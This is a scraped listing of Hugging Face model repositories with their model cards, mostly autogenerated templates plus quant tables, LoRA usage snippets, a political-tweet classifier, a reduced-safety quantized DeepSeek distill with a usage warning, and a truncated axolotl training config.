kallilikhitha123/llama-finetuned-test-causal-30-05-2025	kallilikhitha123	2025-05-30T10:07:02Z	0	0	transformers	[ "transformers", "safetensors", "llama", "text-generation", "arxiv:1910.09700", "autotrain_compatible", "text-generation-inference", "endpoints_compatible", "4-bit", "bitsandbytes", "region:us" ]	text-generation	2025-05-30T09:48:49Z	--- library_name: transformers tags: [] --- # Model Card for Model ID <!-- Provide a quick summary of what the model is/does. --> ## Model Details ### Model Description <!-- Provide a longer summary of what this model is. --> This is the model card of a 🤗 transformers model that has been pushed on the Hub. This model card has been automatically generated. - Developed by: [More Information Needed] - Funded by [optional]: [More Information Needed] - Shared by [optional]: [More Information Needed] - Model type: [More Information Needed] - Language(s) (NLP): [More Information Needed] - License: [More Information Needed] - Finetuned from model [optional]: [More Information Needed] ### Model Sources [optional] <!-- Provide the basic links for the model. --> - Repository: [More Information Needed] - Paper [optional]: [More Information Needed] - Demo [optional]: [More Information Needed] ## Uses <!-- Address questions around how the model is intended to be used, including the foreseeable users of the model and those affected by the model. --> ### Direct Use <!-- This section is for the model use without fine-tuning or plugging into a larger ecosystem/app. --> [More Information Needed] ### Downstream Use [optional] <!-- This section is for the model use when fine-tuned for a task, or when plugged into a larger ecosystem/app --> [More Information Needed] ### Out-of-Scope Use <!-- This section addresses misuse, malicious use, and uses that the model will not work well for. --> [More Information Needed] ## Bias, Risks, and Limitations <!-- This section is meant to convey both technical and sociotechnical limitations. --> [More Information Needed] ### Recommendations <!-- This section is meant to convey recommendations with respect to the bias, risk, and technical limitations. --> Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. ## How to Get Started with the Model Use the code below to get started with the model. [More Information Needed] ## Training Details ### Training Data <!-- This should link to a Dataset Card, perhaps with a short stub of information on what the training data is all about as well as documentation related to data pre-processing or additional filtering. --> [More Information Needed] ### Training Procedure <!-- This relates heavily to the Technical Specifications. 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Edit the suggested text below accordingly --> Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). - Hardware Type: [More Information Needed] - Hours used: [More Information Needed] - Cloud Provider: [More Information Needed] - Compute Region: [More Information Needed] - Carbon Emitted: [More Information Needed] ## Technical Specifications [optional] ### Model Architecture and Objective [More Information Needed] ### Compute Infrastructure [More Information Needed] #### Hardware [More Information Needed] #### Software [More Information Needed] ## Citation [optional] <!-- If there is a paper or blog post introducing the model, the APA and Bibtex information for that should go in this section. --> BibTeX: [More Information Needed] APA: [More Information Needed] ## Glossary [optional] <!-- If relevant, include terms and calculations in this section that can help readers understand the model or model card. --> [More Information Needed] ## More Information [optional] [More Information Needed] ## Model Card Authors [optional] [More Information Needed] ## Model Card Contact [More Information Needed]
z-dickson/issue_classification_tweets	z-dickson	2025-05-30T10:06:07Z	5	1	transformers	[ "transformers", "safetensors", "bert", "text-classification", "politics", "twitter", "tweets", "issues", "license:mit", "autotrain_compatible", "endpoints_compatible", "region:us" ]	text-classification	2024-05-23T10:06:25Z	--- license: mit tags: - politics - twitter - tweets - issues --- This model classified politicians' tweets in English according to nine issues: - Health - Economy - Immigration - Crime - Education - Taxes - International Affairs - Defense - Environment The model was used to classify Twitter messages to study responsiveness to public issue salience in the following article: https://doi.org/10.1017/S153759272400104X. If you find the model useful for your work, it would be great if you could cite it: - APA: Dickson, Z. P. (2024). The Gender Gap in Elite-Voter Responsiveness Online. Perspectives on Politics, 1-17. - BibTeX: @article{dickson2024gender, title={The Gender Gap in Elite-Voter Responsiveness Online}, author={Dickson, Zachary P}, journal={Perspectives on Politics}, pages={1--17}, year={2024}, publisher={Cambridge University Press} }
MaestrAI/camelia_roberts-lora-1748599546	MaestrAI	2025-05-30T10:05:47Z	0	0	null	[ "region:us" ]	null	2025-05-30T10:05:46Z	# camelia_roberts LORA Model This is a LORA model for character Camelia Roberts Created at 2025-05-30 12:05:47
Karandeepsingh/Deep	Karandeepsingh	2025-05-30T10:04:57Z	0	0	null	[ "license:apache-2.0", "region:us" ]	null	2025-05-30T10:04:57Z	--- license: apache-2.0 ---
tungduong261204/DPO_2000_v2	tungduong261204	2025-05-30T10:02:01Z	0	0	peft	[ "peft", "safetensors", "arxiv:1910.09700", "base_model:unsloth/Llama-3.2-1B", "base_model:adapter:unsloth/Llama-3.2-1B", "region:us" ]	null	2025-05-30T09:42:57Z	--- base_model: unsloth/Llama-3.2-1B library_name: peft --- # Model Card for Model ID <!-- Provide a quick summary of what the model is/does. --> ## Model Details ### Model Description <!-- Provide a longer summary of what this model is. --> - Developed by: [More Information Needed] - Funded by [optional]: [More Information Needed] - Shared by [optional]: [More Information Needed] - Model type: [More Information Needed] - Language(s) (NLP): [More Information Needed] - License: [More Information Needed] - Finetuned from model [optional]: [More Information Needed] ### Model Sources [optional] <!-- Provide the basic links for the model. --> - Repository: [More Information Needed] - Paper [optional]: [More Information Needed] - Demo [optional]: [More Information Needed] ## Uses <!-- Address questions around how the model is intended to be used, including the foreseeable users of the model and those affected by the model. --> ### Direct Use <!-- This section is for the model use without fine-tuning or plugging into a larger ecosystem/app. --> [More Information Needed] ### Downstream Use [optional] <!-- This section is for the model use when fine-tuned for a task, or when plugged into a larger ecosystem/app --> [More Information Needed] ### Out-of-Scope Use <!-- This section addresses misuse, malicious use, and uses that the model will not work well for. --> [More Information Needed] ## Bias, Risks, and Limitations <!-- This section is meant to convey both technical and sociotechnical limitations. --> [More Information Needed] ### Recommendations <!-- This section is meant to convey recommendations with respect to the bias, risk, and technical limitations. --> Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. ## How to Get Started with the Model Use the code below to get started with the model. [More Information Needed] ## Training Details ### Training Data <!-- This should link to a Dataset Card, perhaps with a short stub of information on what the training data is all about as well as documentation related to data pre-processing or additional filtering. --> [More Information Needed] ### Training Procedure <!-- This relates heavily to the Technical Specifications. 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Edit the suggested text below accordingly --> Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). - Hardware Type: [More Information Needed] - Hours used: [More Information Needed] - Cloud Provider: [More Information Needed] - Compute Region: [More Information Needed] - Carbon Emitted: [More Information Needed] ## Technical Specifications [optional] ### Model Architecture and Objective [More Information Needed] ### Compute Infrastructure [More Information Needed] #### Hardware [More Information Needed] #### Software [More Information Needed] ## Citation [optional] <!-- If there is a paper or blog post introducing the model, the APA and Bibtex information for that should go in this section. --> BibTeX: [More Information Needed] APA: [More Information Needed] ## Glossary [optional] <!-- If relevant, include terms and calculations in this section that can help readers understand the model or model card. --> [More Information Needed] ## More Information [optional] [More Information Needed] ## Model Card Authors [optional] [More Information Needed] ## Model Card Contact [More Information Needed] ### Framework versions - PEFT 0.15.2
Jedrzej-Smok/2025-05-30_11-48-34	Jedrzej-Smok	2025-05-30T10:01:21Z	0	0	transformers	[ "transformers", "safetensors", "vit", "image-classification", "generated_from_trainer", "dataset:generator", "base_model:google/vit-base-patch16-224-in21k", "base_model:finetune:google/vit-base-patch16-224-in21k", "license:apache-2.0", "model-index", "autotrain_compatible", "endpoints_compatible", "region:us" ]	image-classification	2025-05-30T09:48:39Z	--- library_name: transformers license: apache-2.0 base_model: google/vit-base-patch16-224-in21k tags: - generated_from_trainer datasets: - generator metrics: - accuracy model-index: - name: 2025-05-30_11-48-34 results: - task: name: Image Classification type: image-classification dataset: name: generator type: generator config: default split: test args: default metrics: - name: Accuracy type: accuracy value: 1.0 --- <!-- This model card has been generated automatically according to the information the Trainer had access to. You should probably proofread and complete it, then remove this comment. --> # 2025-05-30_11-48-34 This model is a fine-tuned version of [google/vit-base-patch16-224-in21k](https://huggingface.co/google/vit-base-patch16-224-in21k) on the generator dataset. It achieves the following results on the evaluation set: - Loss: 0.3985 - Accuracy: 1.0 ## Model description More information needed ## Intended uses & limitations More information needed ## Training and evaluation data More information needed ## Training procedure ### Training hyperparameters The following hyperparameters were used during training: - learning_rate: 5e-05 - train_batch_size: 256 - eval_batch_size: 256 - seed: 42 - optimizer: Use OptimizerNames.ADAMW_TORCH with betas=(0.9,0.999) and epsilon=1e-08 and optimizer_args=No additional optimizer arguments - lr_scheduler_type: linear - lr_scheduler_warmup_ratio: 0.1 - num_epochs: 10 ### Training results \| Training Loss \| Epoch \| Step \| Validation Loss \| Accuracy \| \|:-------------:\|:-----:\|:----:\|:---------------:\|:--------:\| \| 0.7264 \| 1.0 \| 1 \| 0.7131 \| 0.5 \| \| 0.7239 \| 2.0 \| 2 \| 0.6431 \| 0.5 \| \| 0.6495 \| 3.0 \| 3 \| 0.5960 \| 0.5833 \| \| 0.5979 \| 4.0 \| 4 \| 0.5529 \| 0.8333 \| \| 0.5506 \| 5.0 \| 5 \| 0.5156 \| 1.0 \| \| 0.5064 \| 6.0 \| 6 \| 0.4762 \| 1.0 \| \| 0.4715 \| 7.0 \| 7 \| 0.4439 \| 1.0 \| \| 0.4309 \| 8.0 \| 8 \| 0.4305 \| 1.0 \| \| 0.4172 \| 9.0 \| 9 \| 0.4192 \| 1.0 \| \| 0.3853 \| 10.0 \| 10 \| 0.3985 \| 1.0 \| ### Framework versions - Transformers 4.52.3 - Pytorch 2.7.0+cu126 - Datasets 3.6.0 - Tokenizers 0.21.1
mradermacher/Refact-1_6B-fim-GGUF	mradermacher	2025-05-30T09:59:43Z	35	0	transformers	[ "transformers", "gguf", "code", "en", "dataset:bigcode/the-stack-dedup", "dataset:rombodawg/2XUNCENSORED_MegaCodeTraining188k", "dataset:bigcode/commitpackft", "base_model:refactai/Refact-1_6B-fim", "base_model:quantized:refactai/Refact-1_6B-fim", "license:bigscience-openrail-m", "endpoints_compatible", "region:us" ]	null	2025-03-11T02:23:57Z	--- base_model: refactai/Refact-1_6B-fim datasets: - bigcode/the-stack-dedup - rombodawg/2XUNCENSORED_MegaCodeTraining188k - bigcode/commitpackft language: - en library_name: transformers license: bigscience-openrail-m quantized_by: mradermacher tags: - code --- ## About <!-- ### quantize_version: 2 --> <!-- ### output_tensor_quantised: 1 --> <!-- ### convert_type: hf --> <!-- ### vocab_type: --> <!-- ### tags: --> static quants of https://huggingface.co/refactai/Refact-1_6B-fim <!-- provided-files --> weighted/imatrix quants are available at https://huggingface.co/mradermacher/Refact-1_6B-fim-i1-GGUF ## Usage If you are unsure how to use GGUF files, refer to one of [TheBloke's READMEs](https://huggingface.co/TheBloke/KafkaLM-70B-German-V0.1-GGUF) for more details, including on how to concatenate multi-part files. ## Provided Quants (sorted by size, not necessarily quality. IQ-quants are often preferable over similar sized non-IQ quants) \| Link \| Type \| Size/GB \| Notes \| \|:-----\|:-----\|--------:\|:------\| \| [GGUF](https://huggingface.co/mradermacher/Refact-1_6B-fim-GGUF/resolve/main/Refact-1_6B-fim.Q2_K.gguf) \| Q2_K \| 0.7 \| \| \| [GGUF](https://huggingface.co/mradermacher/Refact-1_6B-fim-GGUF/resolve/main/Refact-1_6B-fim.Q3_K_S.gguf) \| Q3_K_S \| 0.8 \| \| \| [GGUF](https://huggingface.co/mradermacher/Refact-1_6B-fim-GGUF/resolve/main/Refact-1_6B-fim.Q3_K_M.gguf) \| Q3_K_M \| 0.9 \| lower quality \| \| [GGUF](https://huggingface.co/mradermacher/Refact-1_6B-fim-GGUF/resolve/main/Refact-1_6B-fim.Q3_K_L.gguf) \| Q3_K_L \| 1.0 \| \| \| [GGUF](https://huggingface.co/mradermacher/Refact-1_6B-fim-GGUF/resolve/main/Refact-1_6B-fim.IQ4_XS.gguf) \| IQ4_XS \| 1.0 \| \| \| [GGUF](https://huggingface.co/mradermacher/Refact-1_6B-fim-GGUF/resolve/main/Refact-1_6B-fim.Q4_K_S.gguf) \| Q4_K_S \| 1.0 \| fast, recommended \| \| [GGUF](https://huggingface.co/mradermacher/Refact-1_6B-fim-GGUF/resolve/main/Refact-1_6B-fim.Q4_K_M.gguf) \| Q4_K_M \| 1.1 \| fast, recommended \| \| [GGUF](https://huggingface.co/mradermacher/Refact-1_6B-fim-GGUF/resolve/main/Refact-1_6B-fim.Q5_K_S.gguf) \| Q5_K_S \| 1.2 \| \| \| [GGUF](https://huggingface.co/mradermacher/Refact-1_6B-fim-GGUF/resolve/main/Refact-1_6B-fim.Q5_K_M.gguf) \| Q5_K_M \| 1.2 \| \| \| [GGUF](https://huggingface.co/mradermacher/Refact-1_6B-fim-GGUF/resolve/main/Refact-1_6B-fim.Q6_K.gguf) \| Q6_K \| 1.4 \| very good quality \| \| [GGUF](https://huggingface.co/mradermacher/Refact-1_6B-fim-GGUF/resolve/main/Refact-1_6B-fim.Q8_0.gguf) \| Q8_0 \| 1.8 \| fast, best quality \| \| [GGUF](https://huggingface.co/mradermacher/Refact-1_6B-fim-GGUF/resolve/main/Refact-1_6B-fim.f16.gguf) \| f16 \| 3.3 \| 16 bpw, overkill \| Here is a handy graph by ikawrakow comparing some lower-quality quant types (lower is better): ![image.png](https://www.nethype.de/huggingface_embed/quantpplgraph.png) And here are Artefact2's thoughts on the matter: https://gist.github.com/Artefact2/b5f810600771265fc1e39442288e8ec9 ## FAQ / Model Request See https://huggingface.co/mradermacher/model_requests for some answers to questions you might have and/or if you want some other model quantized. ## Thanks I thank my company, [nethype GmbH](https://www.nethype.de/), for letting me use its servers and providing upgrades to my workstation to enable this work in my free time. <!-- end -->
leobianco/npov_RM_google_S_130104_LLM_false_STRUCT_false_epochs_3_lr_1e-3_r_8_2505300948	leobianco	2025-05-30T09:54:12Z	0	0	transformers	[ "transformers", "safetensors", "arxiv:1910.09700", "endpoints_compatible", "region:us" ]	null	2025-05-30T09:48:56Z	--- library_name: transformers tags: [] --- # Model Card for Model ID <!-- Provide a quick summary of what the model is/does. --> ## Model Details ### Model Description <!-- Provide a longer summary of what this model is. --> This is the model card of a 🤗 transformers model that has been pushed on the Hub. This model card has been automatically generated. - Developed by: [More Information Needed] - Funded by [optional]: [More Information Needed] - Shared by [optional]: [More Information Needed] - Model type: [More Information Needed] - Language(s) (NLP): [More Information Needed] - License: [More Information Needed] - Finetuned from model [optional]: [More Information Needed] ### Model Sources [optional] <!-- Provide the basic links for the model. --> - Repository: [More Information Needed] - Paper [optional]: [More Information Needed] - Demo [optional]: [More Information Needed] ## Uses <!-- Address questions around how the model is intended to be used, including the foreseeable users of the model and those affected by the model. --> ### Direct Use <!-- This section is for the model use without fine-tuning or plugging into a larger ecosystem/app. --> [More Information Needed] ### Downstream Use [optional] <!-- This section is for the model use when fine-tuned for a task, or when plugged into a larger ecosystem/app --> [More Information Needed] ### Out-of-Scope Use <!-- This section addresses misuse, malicious use, and uses that the model will not work well for. --> [More Information Needed] ## Bias, Risks, and Limitations <!-- This section is meant to convey both technical and sociotechnical limitations. --> [More Information Needed] ### Recommendations <!-- This section is meant to convey recommendations with respect to the bias, risk, and technical limitations. --> Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. ## How to Get Started with the Model Use the code below to get started with the model. [More Information Needed] ## Training Details ### Training Data <!-- This should link to a Dataset Card, perhaps with a short stub of information on what the training data is all about as well as documentation related to data pre-processing or additional filtering. --> [More Information Needed] ### Training Procedure <!-- This relates heavily to the Technical Specifications. Content here should link to that section when it is relevant to the training procedure. --> #### Preprocessing [optional] [More Information Needed] #### Training Hyperparameters - Training regime: [More Information Needed] <!--fp32, fp16 mixed precision, bf16 mixed precision, bf16 non-mixed precision, fp16 non-mixed precision, fp8 mixed precision --> #### Speeds, Sizes, Times [optional] <!-- This section provides information about throughput, start/end time, checkpoint size if relevant, etc. --> [More Information Needed] ## Evaluation <!-- This section describes the evaluation protocols and provides the results. --> ### Testing Data, Factors & Metrics #### Testing Data <!-- This should link to a Dataset Card if possible. --> [More Information Needed] #### Factors <!-- These are the things the evaluation is disaggregating by, e.g., subpopulations or domains. --> [More Information Needed] #### Metrics <!-- These are the evaluation metrics being used, ideally with a description of why. --> [More Information Needed] ### Results [More Information Needed] #### Summary ## Model Examination [optional] <!-- Relevant interpretability work for the model goes here --> [More Information Needed] ## Environmental Impact <!-- Total emissions (in grams of CO2eq) and additional considerations, such as electricity usage, go here. Edit the suggested text below accordingly --> Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). - Hardware Type: [More Information Needed] - Hours used: [More Information Needed] - Cloud Provider: [More Information Needed] - Compute Region: [More Information Needed] - Carbon Emitted: [More Information Needed] ## Technical Specifications [optional] ### Model Architecture and Objective [More Information Needed] ### Compute Infrastructure [More Information Needed] #### Hardware [More Information Needed] #### Software [More Information Needed] ## Citation [optional] <!-- If there is a paper or blog post introducing the model, the APA and Bibtex information for that should go in this section. --> BibTeX: [More Information Needed] APA: [More Information Needed] ## Glossary [optional] <!-- If relevant, include terms and calculations in this section that can help readers understand the model or model card. --> [More Information Needed] ## More Information [optional] [More Information Needed] ## Model Card Authors [optional] [More Information Needed] ## Model Card Contact [More Information Needed]
Sowkwndms/DeepSeek-R1-0528-Qwen3-8B-abliterated-Q5_K_M-GGUF	Sowkwndms	2025-05-30T09:47:29Z	0	0	transformers	[ "transformers", "gguf", "chat", "abliterated", "uncensored", "llama-cpp", "gguf-my-repo", "base_model:huihui-ai/DeepSeek-R1-0528-Qwen3-8B-abliterated", "base_model:quantized:huihui-ai/DeepSeek-R1-0528-Qwen3-8B-abliterated", "license:mit", "endpoints_compatible", "region:us", "conversational" ]	null	2025-05-30T09:47:01Z	--- license: mit library_name: transformers base_model: huihui-ai/DeepSeek-R1-0528-Qwen3-8B-abliterated tags: - chat - abliterated - uncensored - llama-cpp - gguf-my-repo extra_gated_prompt: 'Usage Warnings “Risk of Sensitive or Controversial Outputs“: This model’s safety filtering has been significantly reduced, potentially generating sensitive, controversial, or inappropriate content. Users should exercise caution and rigorously review generated outputs. “Not Suitable for All Audiences:“ Due to limited content filtering, the model’s outputs may be inappropriate for public settings, underage users, or applications requiring high security. “Legal and Ethical Responsibilities“: Users must ensure their usage complies with local laws and ethical standards. Generated content may carry legal or ethical risks, and users are solely responsible for any consequences. “Research and Experimental Use“: It is recommended to use this model for research, testing, or controlled environments, avoiding direct use in production or public-facing commercial applications. “Monitoring and Review Recommendations“: Users are strongly advised to monitor model outputs in real-time and conduct manual reviews when necessary to prevent the dissemination of inappropriate content. “No Default Safety Guarantees“: Unlike standard models, this model has not undergone rigorous safety optimization. huihui.ai bears no responsibility for any consequences arising from its use.' --- # Sowkwndms/DeepSeek-R1-0528-Qwen3-8B-abliterated-Q5_K_M-GGUF This model was converted to GGUF format from [`huihui-ai/DeepSeek-R1-0528-Qwen3-8B-abliterated`](https://huggingface.co/huihui-ai/DeepSeek-R1-0528-Qwen3-8B-abliterated) using llama.cpp via the ggml.ai's [GGUF-my-repo](https://huggingface.co/spaces/ggml-org/gguf-my-repo) space. Refer to the [original model card](https://huggingface.co/huihui-ai/DeepSeek-R1-0528-Qwen3-8B-abliterated) for more details on the model. ## Use with llama.cpp Install llama.cpp through brew (works on Mac and Linux) ```bash brew install llama.cpp ``` Invoke the llama.cpp server or the CLI. ### CLI: ```bash llama-cli --hf-repo Sowkwndms/DeepSeek-R1-0528-Qwen3-8B-abliterated-Q5_K_M-GGUF --hf-file deepseek-r1-0528-qwen3-8b-abliterated-q5_k_m.gguf -p "The meaning to life and the universe is" ``` ### Server: ```bash llama-server --hf-repo Sowkwndms/DeepSeek-R1-0528-Qwen3-8B-abliterated-Q5_K_M-GGUF --hf-file deepseek-r1-0528-qwen3-8b-abliterated-q5_k_m.gguf -c 2048 ``` Note: You can also use this checkpoint directly through the [usage steps](https://github.com/ggerganov/llama.cpp?tab=readme-ov-file#usage) listed in the Llama.cpp repo as well. Step 1: Clone llama.cpp from GitHub. ``` git clone https://github.com/ggerganov/llama.cpp ``` Step 2: Move into the llama.cpp folder and build it with `LLAMA_CURL=1` flag along with other hardware-specific flags (for ex: LLAMA_CUDA=1 for Nvidia GPUs on Linux). ``` cd llama.cpp && LLAMA_CURL=1 make ``` Step 3: Run inference through the main binary. ``` ./llama-cli --hf-repo Sowkwndms/DeepSeek-R1-0528-Qwen3-8B-abliterated-Q5_K_M-GGUF --hf-file deepseek-r1-0528-qwen3-8b-abliterated-q5_k_m.gguf -p "The meaning to life and the universe is" ``` or ``` ./llama-server --hf-repo Sowkwndms/DeepSeek-R1-0528-Qwen3-8B-abliterated-Q5_K_M-GGUF --hf-file deepseek-r1-0528-qwen3-8b-abliterated-q5_k_m.gguf -c 2048 ```
jinx2321/nllb-1e4-paper-distilled-4	jinx2321	2025-05-30T09:39:23Z	0	0	transformers	[ "transformers", "safetensors", "m2m_100", "text2text-generation", "generated_from_trainer", "base_model:jinx2321/nllb-1e4-paper", "base_model:finetune:jinx2321/nllb-1e4-paper", "license:cc-by-nc-4.0", "autotrain_compatible", "endpoints_compatible", "region:us" ]	text2text-generation	2025-05-30T06:57:35Z	--- library_name: transformers license: cc-by-nc-4.0 base_model: jinx2321/nllb-1e4-paper tags: - generated_from_trainer model-index: - name: nllb-1e4-paper-distilled-4 results: [] --- <!-- This model card has been generated automatically according to the information the Trainer had access to. You should probably proofread and complete it, then remove this comment. --> # nllb-1e4-paper-distilled-4 This model is a fine-tuned version of [jinx2321/nllb-1e4-paper](https://huggingface.co/jinx2321/nllb-1e4-paper) on the None dataset. ## Model description More information needed ## Intended uses & limitations More information needed ## Training and evaluation data More information needed ## Training procedure ### Training hyperparameters The following hyperparameters were used during training: - learning_rate: 0.0001 - train_batch_size: 128 - eval_batch_size: 8 - seed: 42 - optimizer: Use adamw_torch with betas=(0.9,0.999) and epsilon=1e-08 and optimizer_args=No additional optimizer arguments - lr_scheduler_type: linear - num_epochs: 3 ### Training results ### Framework versions - Transformers 4.52.0.dev0 - Pytorch 2.6.0+cu124 - Datasets 3.4.1 - Tokenizers 0.21.1
Varinder2110/c5349026-cea7-4722-ae62-a776554510f9	Varinder2110	2025-05-30T09:35:21Z	0	0	diffusers	[ "diffusers", "flux", "lora", "replicate", "text-to-image", "en", "base_model:black-forest-labs/FLUX.1-dev", "base_model:adapter:black-forest-labs/FLUX.1-dev", "license:other", "region:us" ]	text-to-image	2025-05-30T08:30:46Z	--- license: other license_name: flux-1-dev-non-commercial-license license_link: https://huggingface.co/black-forest-labs/FLUX.1-dev/blob/main/LICENSE.md language: - en tags: - flux - diffusers - lora - replicate base_model: "black-forest-labs/FLUX.1-dev" pipeline_tag: text-to-image # widget: # - text: >- # prompt # output: # url: https://... instance_prompt: TOK --- # C5349026 Cea7 4722 Ae62 A776554510F9 <Gallery /> ## About this LoRA This is a [LoRA](https://replicate.com/docs/guides/working-with-loras) for the FLUX.1-dev text-to-image model. It can be used with diffusers or ComfyUI. It was trained on [Replicate](https://replicate.com/) using AI toolkit: https://replicate.com/ostris/flux-dev-lora-trainer/train ## Trigger words You should use `TOK` to trigger the image generation. ## Run this LoRA with an API using Replicate ```py import replicate input = { "prompt": "TOK", "lora_weights": "https://huggingface.co/Varinder2110/c5349026-cea7-4722-ae62-a776554510f9/resolve/main/lora.safetensors" } output = replicate.run( "black-forest-labs/flux-dev-lora", input=input ) for index, item in enumerate(output): with open(f"output_{index}.webp", "wb") as file: file.write(item.read()) ``` ## Use it with the [🧨 diffusers library](https://github.com/huggingface/diffusers) ```py from diffusers import AutoPipelineForText2Image import torch pipeline = AutoPipelineForText2Image.from_pretrained('black-forest-labs/FLUX.1-dev', torch_dtype=torch.float16).to('cuda') pipeline.load_lora_weights('Varinder2110/c5349026-cea7-4722-ae62-a776554510f9', weight_name='lora.safetensors') image = pipeline('TOK').images[0] ``` For more details, including weighting, merging and fusing LoRAs, check the [documentation on loading LoRAs in diffusers](https://huggingface.co/docs/diffusers/main/en/using-diffusers/loading_adapters) ## Training details - Steps: 6000 - Learning rate: 0.0004 - LoRA rank: 16 ## Contribute your own examples You can use the [community tab](https://huggingface.co/Varinder2110/c5349026-cea7-4722-ae62-a776554510f9/discussions) to add images that show off what you’ve made with this LoRA.
Hjjg2445/fukgybg	Hjjg2445	2025-05-30T09:32:21Z	0	0	null	[ "license:bigcode-openrail-m", "region:us" ]	null	2025-05-30T09:32:21Z	--- license: bigcode-openrail-m ---
Tandogan/dpo_v3_alpaca_on_base_big	Tandogan	2025-05-30T09:31:22Z	0	0	transformers	[ "transformers", "safetensors", "qwen3", "text-generation", "arxiv:1910.09700", "autotrain_compatible", "text-generation-inference", "endpoints_compatible", "region:us" ]	text-generation	2025-05-30T09:30:18Z	--- library_name: transformers tags: [] --- # Model Card for Model ID <!-- Provide a quick summary of what the model is/does. --> ## Model Details ### Model Description <!-- Provide a longer summary of what this model is. --> This is the model card of a 🤗 transformers model that has been pushed on the Hub. This model card has been automatically generated. - Developed by: [More Information Needed] - Funded by [optional]: [More Information Needed] - Shared by [optional]: [More Information Needed] - Model type: [More Information Needed] - Language(s) (NLP): [More Information Needed] - License: [More Information Needed] - Finetuned from model [optional]: [More Information Needed] ### Model Sources [optional] <!-- Provide the basic links for the model. --> - Repository: [More Information Needed] - Paper [optional]: [More Information Needed] - Demo [optional]: [More Information Needed] ## Uses <!-- Address questions around how the model is intended to be used, including the foreseeable users of the model and those affected by the model. --> ### Direct Use <!-- This section is for the model use without fine-tuning or plugging into a larger ecosystem/app. --> [More Information Needed] ### Downstream Use [optional] <!-- This section is for the model use when fine-tuned for a task, or when plugged into a larger ecosystem/app --> [More Information Needed] ### Out-of-Scope Use <!-- This section addresses misuse, malicious use, and uses that the model will not work well for. --> [More Information Needed] ## Bias, Risks, and Limitations <!-- This section is meant to convey both technical and sociotechnical limitations. --> [More Information Needed] ### Recommendations <!-- This section is meant to convey recommendations with respect to the bias, risk, and technical limitations. --> Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. ## How to Get Started with the Model Use the code below to get started with the model. [More Information Needed] ## Training Details ### Training Data <!-- This should link to a Dataset Card, perhaps with a short stub of information on what the training data is all about as well as documentation related to data pre-processing or additional filtering. --> [More Information Needed] ### Training Procedure <!-- This relates heavily to the Technical Specifications. Content here should link to that section when it is relevant to the training procedure. --> #### Preprocessing [optional] [More Information Needed] #### Training Hyperparameters - Training regime: [More Information Needed] <!--fp32, fp16 mixed precision, bf16 mixed precision, bf16 non-mixed precision, fp16 non-mixed precision, fp8 mixed precision --> #### Speeds, Sizes, Times [optional] <!-- This section provides information about throughput, start/end time, checkpoint size if relevant, etc. --> [More Information Needed] ## Evaluation <!-- This section describes the evaluation protocols and provides the results. --> ### Testing Data, Factors & Metrics #### Testing Data <!-- This should link to a Dataset Card if possible. --> [More Information Needed] #### Factors <!-- These are the things the evaluation is disaggregating by, e.g., subpopulations or domains. --> [More Information Needed] #### Metrics <!-- These are the evaluation metrics being used, ideally with a description of why. --> [More Information Needed] ### Results [More Information Needed] #### Summary ## Model Examination [optional] <!-- Relevant interpretability work for the model goes here --> [More Information Needed] ## Environmental Impact <!-- Total emissions (in grams of CO2eq) and additional considerations, such as electricity usage, go here. Edit the suggested text below accordingly --> Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). - Hardware Type: [More Information Needed] - Hours used: [More Information Needed] - Cloud Provider: [More Information Needed] - Compute Region: [More Information Needed] - Carbon Emitted: [More Information Needed] ## Technical Specifications [optional] ### Model Architecture and Objective [More Information Needed] ### Compute Infrastructure [More Information Needed] #### Hardware [More Information Needed] #### Software [More Information Needed] ## Citation [optional] <!-- If there is a paper or blog post introducing the model, the APA and Bibtex information for that should go in this section. --> BibTeX: [More Information Needed] APA: [More Information Needed] ## Glossary [optional] <!-- If relevant, include terms and calculations in this section that can help readers understand the model or model card. --> [More Information Needed] ## More Information [optional] [More Information Needed] ## Model Card Authors [optional] [More Information Needed] ## Model Card Contact [More Information Needed]
dimasik87/bee073bf-1eec-4512-b15b-ea5e13c9d7f1	dimasik87	2025-05-30T09:24:17Z	0	0	peft	[ "peft", "safetensors", "qwen2", "axolotl", "generated_from_trainer", "base_model:unsloth/Qwen2-1.5B-Instruct", "base_model:adapter:unsloth/Qwen2-1.5B-Instruct", "license:apache-2.0", "4-bit", "bitsandbytes", "region:us" ]	null	2025-05-30T08:25:24Z	--- library_name: peft license: apache-2.0 base_model: unsloth/Qwen2-1.5B-Instruct tags: - axolotl - generated_from_trainer model-index: - name: bee073bf-1eec-4512-b15b-ea5e13c9d7f1 results: [] --- <!-- This model card has been generated automatically according to the information the Trainer had access to. You should probably proofread and complete it, then remove this comment. --> [<img src="https://raw.githubusercontent.com/axolotl-ai-cloud/axolotl/main/image/axolotl-badge-web.png" alt="Built with Axolotl" width="200" height="32"/>](https://github.com/axolotl-ai-cloud/axolotl) <details><summary>See axolotl config</summary> axolotl version: `0.4.1` ```yaml absolute_data_files: false adapter: lora base_model: unsloth/Qwen2-1.5B-Instruct bf16: true chat_template: llama3 dataset_prepared_path: /workspace/axolotl datasets: - data_files: - 03542368294c05c0_train_data.json ds_type: json format: custom path: /workspace/input_data/ type: field_instruction: instruct field_output: output format: '{instruction}' no_input_format: '{instruction}' system_format: '{system}' system_prompt: '' debug: null deepspeed: null dpo: beta: 0.1 enabled: true group_by_length: false rank_loss: true reference_model: null early_stopping_patience: null eval_max_new_tokens: 128 eval_table_size: null evals_per_epoch: 1 flash_attention: true fp16: null fsdp: null fsdp_config: null gradient_accumulation_steps: 4 gradient_checkpointing: true gradient_clipping: 0.85 group_by_length: false hub_model_id: dimasik87/bee073bf-1eec-4512-b15b-ea5e13c9d7f1 hub_repo: null hub_strategy: end hub_token: null learning_rate: 1.0e-06 load_in_4bit: true load_in_8bit: false local_rank: null logging_steps: 1 lora_alpha: 64 